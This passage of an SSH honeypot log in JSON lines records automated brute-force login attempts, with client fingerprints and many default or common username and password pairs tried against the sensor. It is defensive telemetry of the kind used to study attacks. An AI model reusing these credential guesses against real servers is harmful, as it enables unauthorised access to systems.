0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:51.975689Z","src_ip":"192.109.200.78","session":"702ce72b39fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:52.218055Z","src_ip":"192.109.200.78","session":"702ce72b39fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:53.301610Z","src_ip":"192.109.200.78","session":"702ce72b39fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33206,"dst_ip":"10.17.0.5","dst_port":22,"session":"95e7ecd62cb7","protocol":"ssh","message":"New connection: 192.109.200.78:33206 (10.17.0.5:22) [session: 95e7ecd62cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:55.368664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:55.371787Z","src_ip":"192.109.200.78","session":"95e7ecd62cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:55.456120Z","src_ip":"192.109.200.78","session":"95e7ecd62cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:55.700941Z","src_ip":"192.109.200.78","session":"95e7ecd62cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:56.785020Z","src_ip":"192.109.200.78","session":"95e7ecd62cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33232,"dst_ip":"10.17.0.5","dst_port":22,"session":"b162917ca194","protocol":"ssh","message":"New connection: 192.109.200.78:33232 (10.17.0.5:22) [session: b162917ca194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:58.791340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:58.794966Z","src_ip":"192.109.200.78","session":"b162917ca194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:58.875539Z","src_ip":"192.109.200.78","session":"b162917ca194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:59.120904Z","src_ip":"192.109.200.78","session":"b162917ca194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:00.205378Z","src_ip":"192.109.200.78","session":"b162917ca194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42088,"dst_ip":"10.17.0.5","dst_port":22,"session":"244bff089b5c","protocol":"ssh","message":"New connection: 192.109.200.78:42088 (10.17.0.5:22) [session: 244bff089b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:02.473650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:02.481581Z","src_ip":"192.109.200.78","session":"244bff089b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:02.563135Z","src_ip":"192.109.200.78","session":"244bff089b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:02.810004Z","src_ip":"192.109.200.78","session":"244bff089b5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:03.896936Z","src_ip":"192.109.200.78","session":"244bff089b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":55800,"dst_ip":"159.203.135.109","dst_port":22,"session":"5329273411a7","protocol":"ssh","message":"New connection: 109.237.96.109:55800 (159.203.135.109:22) [session: 5329273411a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:05.074108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:05.078334Z","src_ip":"109.237.96.109","session":"5329273411a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:05.167752Z","src_ip":"109.237.96.109","session":"5329273411a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max1997","message":"login attempt [root/max1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:05.438574Z","src_ip":"109.237.96.109","session":"5329273411a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42096,"dst_ip":"10.17.0.5","dst_port":22,"session":"9173937011c4","protocol":"ssh","message":"New connection: 192.109.200.78:42096 (10.17.0.5:22) [session: 9173937011c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:05.961920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:05.966249Z","src_ip":"192.109.200.78","session":"9173937011c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:06.050241Z","src_ip":"192.109.200.78","session":"9173937011c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:06.294320Z","src_ip":"192.109.200.78","session":"9173937011c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:06.530884Z","src_ip":"109.237.96.109","session":"5329273411a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:07.501570Z","src_ip":"192.109.200.78","session":"9173937011c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42104,"dst_ip":"10.17.0.5","dst_port":22,"session":"a223072121ac","protocol":"ssh","message":"New connection: 192.109.200.78:42104 (10.17.0.5:22) [session: a223072121ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:09.393251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:09.397308Z","src_ip":"192.109.200.78","session":"a223072121ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:09.478625Z","src_ip":"192.109.200.78","session":"a223072121ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:09.953247Z","src_ip":"192.109.200.78","session":"a223072121ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:11.036476Z","src_ip":"192.109.200.78","session":"a223072121ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":51172,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd3a9ddfa2c1","protocol":"ssh","message":"New connection: 37.233.85.71:51172 (10.17.0.5:22) [session: bd3a9ddfa2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:11.845828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:11.851921Z","src_ip":"37.233.85.71","session":"bd3a9ddfa2c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:11.958948Z","src_ip":"37.233.85.71","session":"bd3a9ddfa2c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09121982","message":"login attempt [root/09121982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:12.286129Z","src_ip":"37.233.85.71","session":"bd3a9ddfa2c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34826,"dst_ip":"10.17.0.5","dst_port":22,"session":"feba3365bce8","protocol":"ssh","message":"New connection: 192.109.200.78:34826 (10.17.0.5:22) [session: feba3365bce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:13.112238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:13.116334Z","src_ip":"192.109.200.78","session":"feba3365bce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:13.197564Z","src_ip":"192.109.200.78","session":"feba3365bce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:13.395561Z","src_ip":"37.233.85.71","session":"bd3a9ddfa2c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:13.443476Z","src_ip":"192.109.200.78","session":"feba3365bce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:14.533900Z","src_ip":"192.109.200.78","session":"feba3365bce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34848,"dst_ip":"10.17.0.5","dst_port":22,"session":"6131656b4fe3","protocol":"ssh","message":"New connection: 192.109.200.78:34848 (10.17.0.5:22) [session: 6131656b4fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:16.540210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:16.543898Z","src_ip":"192.109.200.78","session":"6131656b4fe3","protocol":"ssh"}
